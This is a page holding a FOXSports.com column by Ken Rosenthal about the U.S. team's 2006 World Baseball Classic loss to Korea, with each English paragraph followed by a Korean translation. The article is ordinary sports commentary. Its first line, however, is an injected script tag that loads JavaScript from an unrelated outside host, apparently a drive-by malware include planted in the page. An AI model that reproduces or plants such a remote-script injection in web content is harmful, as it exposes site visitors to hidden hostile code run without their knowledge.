<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script>










U.S. no longer envy of baseball world
Story Tools: XML
Print Email Blog This
Ken Rosenthal / FOXSports.com
Posted: 15 minutes ago




ANAHEIM, Calif. - Time for all those American kids to stop playing video games, not to mention football, basketball and soccer.

이제 모든 미국 아이들이 비디오 게임하는 걸 멈춰야 할 시간이다.
풋볼, 농구, 축구는 말할 것도 없고.



If the World Baseball Classic has proven anything, it's that the United States no longer is the pre-eminent baseball power.

WBC가 무언가를 증명해 준 것이라면, 그건 바로 미국이 더 이상 걸출한 야구 강국이 아니란 것이다.



True, not all of the best Americans are playing. But even a diluted U.S. team figured to handle Canada or Korea with little difficulty.

사실 미국의 최고의 선수 모두가 참가해서 뛴 건 아니다. 하지만 희석된 미국 팀이라고 할지라도 캐나다나 대한민국을 어려움없이 다뤘어야 했다.



Didn't happen.

하지만 그런 일은 일어나지 않았다.



Team USA lost its second game of the tournament Monday night, falling to Korea, 7-3. If not for a blown umpire's call, the U.S. also might have fallen to Japan the day before.

미국은 월요일 밤, 대한민국에게 7-3으로 무릎을 꿇으며 이 토너먼트의 2번째 패배를 했다.
번복한 심판의 콜이 아니었다면, 미국은 또한 하루 전 날, 일본에게 패배했을지도 모른다.



Back-to-back second-round defeats would have meant near-certain elimination and dropped the U.S. to 2-3 overall, with one of its victories over hapless South Africa.

2라운드에서 2연속 패배를 했더라면, 거의 확실히 탈락했을 것이다. 그리고 그렇게 되면, 미국은 전체 성적이 2승 3패가 된다.
그나마 여기엔 가엾은 남아공에 대한 일승을 포함해서다.



As it stands, even if the U.S. survives the second round and wins its semifinal matchup, it will face a starting-pitching crisis in the championship game.

상황이 그렇기에, 심지어 미국이 2라운드에 살아남아, 준결승 맞대결에서 승리한다고 할지라도, 챔피온쉽 경기에서 선발 피칭의 위기를 맞이할 것이다.



National pastime? Once upon a time. No more.

야구가 전국적 놀이였다고? 옛날에 그랬지. 더 이상은 아니다.



Team USA isn't assured of reaching the final round even if it beats Mexico on Thursday night in possibly the final start of Roger Clemens' career. Japan must lose one of its next two games to guarantee that the U.S. would advance with a victory.

미국팀은 아마도 Roger Clemens의 커리어 마지막 선발 등판 경기가 될, 목요일 밤 멕시코를 이긴다고 하더라도, 마지막 라운드에 진출한다는 장담을 하지 못한다.
미국이 승리를 해서 상위 라운드로 진출할 것을 장담하기 위해선, 일본이 다음 두 경기 중 반드시 한 경기를 져야 한다.



If Japan beats both Mexico and Korea, the U.S. could be eliminated before it even plays Mexico due to the WBC's tie-breaking formula - fewest runs allowed in games between the teams tied.

일본이 멕시코와 대한민국을 모두 이길 경우, 미국은 멕시코와 경기를 하기도 전에 탈락될 수도 잇을 것이다.
그 것의 이유는 WBC 동률 상황 공식 때문이다. 양 팀이 동률일 경우, 동률팀 사이에서 최소 실점 팀이 올라간다.



The U.S. already is at a disadvantage, having allowed 10 runs against Japan and Korea. Japan allowed four runs against the U.S., Korea three.

미국은 이미 불리한 상황에 있다.
일본과 대한민국을 상대로 10실점을 허용했기 때문이다.
일본은 미국을 상대로 4실점을 했고, 대한민국은 3실점을 했다.







Dontrelle Willis may have dominated major-league hitters in 2005, but he's struggling to keep batters off base in the WBC. (Chris Carlson / Associated Press)



As if all that is not daunting enough, if the U.S. somehow reaches the championship game in San Diego, it likely will have little choice but to start struggling Marlins left-hander Dontrelle Willis, who has allowed 17 baserunners in 5 2/3 innings in his two WBC starts.

아직 풀이 죽어있기에 충분치 않은 상황이라고 한다고 해도, 미국이 어떻게 해서 샌디에이고에서 펼쳐지는 챔피온쉽에 올라갈 경우, 부진한 말린스 좌완 Dontrelle Willis를 말고는 선발 등판 시킬 선택 선수가 거의 없다.
그는 자신의 두 번의 WBC 선발 등판 동안 5 2/3 이닝동안 17명의 주자를 허용하고 있다.



Clemens will be finished for the tournament if he exceeds 49 pitches Thursday. WBC rules state that a pitcher can not pitch for a minimum of four days after throwing 50 or more pitches. The WBC championship game is Monday.

Clemens는 목요일 49개의 공을 초과할 경우, 이 토너먼트에서 끝날 것이다.
WBC 규정은 투수가 50개 이상을 던진 후에는 최소 4일 동안 투구를 할 수 없다고 규정하고 있다.
WBC 챔피온쉽 경기는 월요일이다.



Padres right-hander Jake Peavy is scheduled to start the semifinal game Saturday, leaving Willis as the only option for Monday. The U.S. has no other starting pitchers on its staff.

파드레스 우완 Jake Peavy는 토요일 준결승전에 선발 등판이 잡혀 있어서, 월요일에 유일한 옵션은 Willis가 남게 된다.
미국은 투수진에서 다른 선발 투수가 전혀 없다.



Indians left-hander C.C. Sabathia ducked out of the WBC at the last minute, but Clemens, Willis and Peavy ranked first, third and eighth in the majors last season in ERA.

인디언스 좌완 C.C. Sabathia는 막판 얼마 안 남겨두고 싹 빠져나갔다. 하지만 Clemens, Willis, Peavy는 지난 시즌 방어율에서 메이저 1위, 3위, 8위에 랭크되었다.



They should be good enough.

그들이면 충분히 좋을 것이다.



"I don't think there's a man in that clubhouse who doesn't want to give the ball to Dontrelle Willis," U.S. manager Buck Martinez said. "It's just a matter of getting him one more chance."

미국 감독 Buck Martinez는 이렇게 말했다.
“난 Dontrelle Willis에게 공을 주길 원하지 않는 사람은 우리 클럽하우스에 없다고 생각합니다. 그건 단지 그에게 한 번 더 기회를 주는 문제일 뿐입니다.”



Perhaps, but other American deficiencies are evident.

아마도, 하지만 미국의 다른 결함은 분명한 것이다.



The starting corner outfielders Monday night, the Blue Jays' Vernon Wells and Rockies' Matt Holliday, combined to go 0-for-7. Wells is a fine player, but Holliday, entering his third season, is largely a Coors Field creation.

월요일 밤, 선발 코너 외야수들인 블루제이스의 Vernon Wells와 로키스의 Matt Holliday는 둘이 합쳐 7타수 무안타였다.
Wells는 좋은 선수이다. 하지만 3년 차인 Holliday는 대단히 쿠어스 빨을 받은 선수이다.



The Yankees' Johnny Damon, slowed by a troublesome left shoulder, did not start for the second straight game. The Giants' Randy Winn and the Braves' Jeff Francoeur are the team's only other corner outfielders. And Francoeur, a second-year player, has batted only three times in the tournament.

문제를 갖고 있는 왼쪽 어깨로 인해 늦춰지고 있는 양키스의 Johnny Damon은 2연속 경기에 선발 출장하지 못했다.
자이언츠의 Randy Winn과 브레이브스의 Jeff Francoeur는 이 팀의 유일한 다른 코너 외야수들이다.
그리고 2년차 선수인 Francoeur는 이 토너먼트에서 겨우 3번 타석에 들어섰다.



Where is Barry Bonds when you need him?

필요로 할 때, Barry Bonds는 어디에 가 있는가?



Of the top seven American outfielders in on-base/slugging percentage last season, only Ken Griffey Jr. is participating. The other six - the Reds' Adam Dunn, Cardinals' Jim Edmonds and Padres' Brian Giles; Phillies' Pat Burrell, Brewers' Geoff Jenkins and Yankees' Gary Sheffield - are in spring training with their major-league clubs.

지난 시즌 출루율/장타율에서 (OPS) 미국선수 탑 7 중 오직 Ken Griffey Jr.만이 경기에 참가하고 있다.
나머지 6명은 - 레즈의 Adam Dunn, 카디널스의 Jim Edmonds, 파드레스의 Brian Giles, 필리스의 Pat Burrell, 브루어스의 Geoff Jenkins, 양키스의 Gary Sheffield - 모두 자신의 팀과 함께 스프링 트레이닝에 있다.



The American's lack of left-handed bullpen depth also became an issue against Korea; the Rockies' Brian Fuentes had worked the previous day, and the only other lefty reliever, Al Leiter, is a liability. The U.S. added Leiter only after Billy Wagner, the best lefty reliever in the game, backed out.

미국의 좌완 불펜 깊이의 부족은 또한 대한민국을 상대로 문제가 되었다. ;
로키스의 Brian Fuentes는 그 전 날 공을 던졌다. 그리고 다른 유일한 좌완 릴리버인 Al Leiter는 약점 많은 선수다.
미국은 메이저 최고의 좌완 릴리버인 Billy Wagner가 의사 철회한 후에야, Leiter를 추가했다.



In the fourth inning, Korea inserted Hee Seop Choi, a left-handed hitter, for Tae Kyun Kim, its right-handed cleanup man, without fear of Choi seeing a quality left-hander the rest of the game. Choi hit a three-run homer off Astros righty Dan Wheeler, extending Korea's lead to 6-1.

4회에, 대한민국은 우타자 클린업 타자인 김태균을 대신해 좌타자인 최희섭을 투입시켰다. 최희섭이 경기의 나머지 시간 동안 수준급 좌완을 상대할 거라는 두려움이 전혀 없는 상황에서.
최희섭은 애스트로스 우완 Dan Wheeler로부터 3타점 홈런을 쳤다. 그래서 대한민국을 6-1로 리드하게 해 주었다.



Both Korea and Japan, the Asian quarterfinalists in the WBC, are near-flawless in their execution. Major-league scouts say Korea's professional league is the equivalent of Class AA, but its national team appears to be a level or two above.

대한민국과 일본 모두, WBC에서 아시아 지역 진출자로서, 거의 흠없는 플레이를 해 주고 있다.
메이저리그 스카우트들은 대한민국의 프로 리그가 더블 에이 수준에 해당한다고 말하고 있다. 하지만 국가대표 팀은 한 단계나 두 단계 이상의 레벨로 보인다.







South Koreans react as they watch Korea defeat the U.S. in the World Baseball Classic.



Korea is 5-0 in the tournament. Its defense has yet to commit an error. Its bullpen has allowed three runs in 25 2/3 innings. Its No. 3 hitter, Seung Yeop Lee, leads the WBC with five homers and 11 RBIs.

대한민국은 이 토너먼트에서 5승 무패를 기록하고 있다.
그리고 이 팀의 수비는 아직 단 하나의 에러로 저지르지 않고 있다. 이 팀의 불펜은 25 2/3 이닝동안 3실점을 허용했다.
WBC에서 5홈런, 11타점으로 두 부분 선두에 나선 건 바로 그들의 3번 타자인 이승엽이다.



The vaunted U.S. offense was shut down Monday night by six Korean pitchers, only two of whom - Byung-Hyun Kim and Dae Sung Koo - have pitched in the majors. The other two major leaguers on Korea's staff, Jae Seo and Chan Ho Park, did not pitch.

과시하고 있는 미국 공격진은 월요일 밤, 6명의 대한민국 투수들에게 완전히 틀어 막혔다. 단지 그들 중 두 명만이 - 김병현과 구대성 - 메이저에서 공을 던져 본 경험이 있다.
대한민국의 투수진에서의 나머지 두 명의 투수인 서재응과 박찬호는 공을 던지지 않았다.



"Something happened today which nobody could believe," Korean manager In Sik Kim said.

대한민국 감독 김인식은 이렇게 말했다.
“아무도 믿으려 하지 않을 일이 오늘 발생했습니다.”



Believe it.

하지만 그 걸 믿어라.



The days of the U.S. being the envy of the baseball world are over.

야구계에서 미국이 선망이 되던 시대는 끝났다.





Ken Rosenthal is the senior baseball writer for FOXSports.com.